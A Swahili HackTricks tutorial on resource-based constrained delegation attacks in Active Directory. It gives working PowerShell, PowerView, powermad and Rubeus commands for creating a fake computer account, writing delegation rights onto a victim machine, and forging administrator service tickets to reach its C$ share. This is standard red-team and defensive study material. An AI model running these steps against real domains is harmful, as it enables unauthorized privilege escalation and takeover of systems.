Resource-based Constrained Delegation

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Misingi ya Kudhibiti Uteuzi Kulingana na Rasilimali

Hii inafanana na Uteuzi uliodhibitiwa lakini badala ya kutoa ruhusa kwa kitu kuwa kuiga mtumiaji yeyote dhidi ya huduma. Uteuzi uliodhibitiwa kulingana na rasilimali huanzisha kwenye kitu ni nani anayeweza kuiga mtumiaji yeyote dhidi yake.

Katika kesi hii, kitu kilichodhibitiwa kitakuwa na sifa inayoitwa msDS-AllowedToActOnBehalfOfOtherIdentity na jina la mtumiaji anayeweza kuiga mtumiaji mwingine yeyote dhidi yake.

Tofauti nyingine muhimu kutoka kwa Uteuzi uliodhibitiwa hadi uteuzi mwingine ni kwamba mtumiaji yeyote mwenye ruhusa ya kuandika juu ya akaunti ya mashine (GenericAll/GenericWrite/WriteDacl/WriteProperty/n.k.) anaweza kuweka msDS-AllowedToActOnBehalfOfOtherIdentity (Katika aina zingine za Uteuzi ulihitaji mamlaka ya msimamizi wa kikoa).

Dhana Mpya

Kurudi kwa Uteuzi uliodhibitiwa kulieleza kuwa bendera ya TrustedToAuthForDelegation ndani ya thamani ya userAccountControl ya mtumiaji inahitajika kufanya S4U2Self. Lakini hiyo sio ukweli kamili. Ukweli ni kwamba hata bila thamani hiyo, unaweza kufanya S4U2Self dhidi ya mtumiaji yeyote ikiwa wewe ni huduma (una SPN) lakini, ikiwa una TrustedToAuthForDelegation TGS itarudi itakuwa inayoweza kusonga mbele na ikiwa huna bendera hiyo TGS itarudi haitakuwa inayoweza kusonga mbele.

Hata hivyo, ikiwa TGS inayotumiwa katika S4U2Proxy SI inayoweza kusonga mbele kujaribu kutumia Uteuzi uliodhibitiwa wa kawaida haitafanya kazi. Lakini ikiwa unajaribu kudukua Uteuzi uliodhibitiwa kulingana na rasilimali, itafanya kazi (hii sio udhaifu, ni kipengele, kwa mujibu waonekanao).

Muundo wa Shambulio

Ikiwa una ruhusa sawa za kuandika juu ya akaunti ya Kompyuta unaweza kupata upatikanaji wa kipekee kwenye mashine hiyo.

Fikiria kuwa mkaidi tayari ana ruhusa sawa za kuandika juu ya kompyuta ya mwathiriwa.

  1. Mkaidi anashambulia akaunti ambayo ina SPN au inaunda moja (“Huduma A”). Kumbuka kwamba mtumiaji yeyote wa Msimamizi bila haki maalum nyingine yoyote anaweza kuunda hadi vitu vya Kompyuta 10 (MachineAccountQuota) na kuweka SPN. Kwa hivyo mkaidi anaweza tu kuunda kitu cha Kompyuta na kuweka SPN.

  2. Mkaidi anatumia ruhusa yake YA KUANDIKA juu ya kompyuta ya mwathiriwa (HudumaB) kusanidi uteuzi uliodhibitiwa kulingana na rasilimali kuruhusu HudumaA kuiga mtumiaji yeyote dhidi ya kompyuta hiyo ya mwathiriwa (HudumaB).

  3. Mkaidi anatumia Rubeus kufanya shambulio la kamili la S4U (S4U2Self na S4U2Proxy) kutoka Huduma A kwenda Huduma B kwa mtumiaji mwenye upatikanaji wa kipekee kwa Huduma B.

  4. S4U2Self (kutoka kwenye akaunti iliyoshambuliwa/iliyoundwa na SPN): Uliza TGS ya Msimamizi kwangu (Isiyoweza kusonga mbele).

  5. S4U2Proxy: Tumia TGS isiyoweza kusonga mbele ya hatua iliyotangulia kuomba TGS kutoka kwa Msimamizi kwenda kwa mwenyeji wa mwathiriwa.

  6. Hata ikiwa unatumia TGS isiyoweza kusonga mbele, kwa kuwa unatumia uteuzi uliodhibitiwa kulingana na rasilimali, itafanya kazi.

  7. Mkaidi anaweza kupitisha-tiketi na kuiga mtumiaji kupata upatikanaji wa HudumaB.

Kutathmini MachineAccountQuota ya kikoa unaweza kutumia:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Shambulizi

Kuunda Kielelezo cha Kompyuta

Unaweza kuunda kielelezo cha kompyuta ndani ya kikoa kwa kutumia powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Kuweka Rasilimali Inayotegemea Uteuzi uliodhibitiwa

Kutumia moduli ya activedirectory PowerShell

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Kutumia powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Kutekeleza shambulio kamili la S4U

Kwanza kabisa, tuliumba kitu cha Kompyuta kipya na nenosiri 123456, hivyo tunahitaji hash ya nenosiri hilo:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Hii itachapisha RC4 na AES hashes kwa akaunti hiyo. Sasa, shambulio linaweza kutekelezwa:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Unaweza kuzalisha tiketi zaidi kwa kuuliza mara moja ukitumia paramu ya /altservice ya Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Tafadhali fahamu kuwa watumiaji wana sifa inayoitwa "Haiwezi kupelekwa". Ikiwa mtumiaji ana sifa hii kuwa Kweli, hutaweza kujifanya kuwa yeye. Mali hii inaweza kuonekana ndani ya bloodhound.

Kupata

Amri ya mwisho itatekeleza shambulio kamili la S4U na kuingiza TGS kutoka kwa Msimamizi kwenda kwa mwenyeji wa mwathiriwa kwenye kumbukumbu. Katika mfano huu, TGS ilihitajika kwa huduma ya CIFS kutoka kwa Msimamizi, hivyo utaweza kupata C$:

ls \\victim.domain.local\C$

Matumizi ya tiketi tofauti za huduma

Jifunze kuhusu tiketi za huduma zilizopo hapa.

Makosa ya Kerberos

  • KDC_ERR_ETYPE_NOTSUPP: Hii inamaanisha kuwa kerberos imeboreshwa kutokutumia DES au RC4 na unatoa tu hash ya RC4. Toa kwa Rubeus angalau hash ya AES256 (au toa tu hash za rc4, aes128 na aes256). Mfano: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: Hii inamaanisha kuwa wakati wa kompyuta ya sasa ni tofauti na ile ya DC na kerberos haifanyi kazi vizuri.

  • preauth_failed: Hii inamaanisha kuwa jina la mtumiaji lililotolewa + hash hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji unapozalisha hash (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: Hii inaweza kumaanisha:

    • Mtumiaji unayejaribu kujifanya hawezi kupata huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu haina vya kutosha)

    • Huduma inayotakiwa haipo (ikiwa unauliza tiketi kwa winrm lakini winrm haifanyi kazi)

    • Kompyuta bandia iliyoanzishwa imepoteza mamlaka yake juu ya seva yenye mapungufu na unahitaji kuzirudisha.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated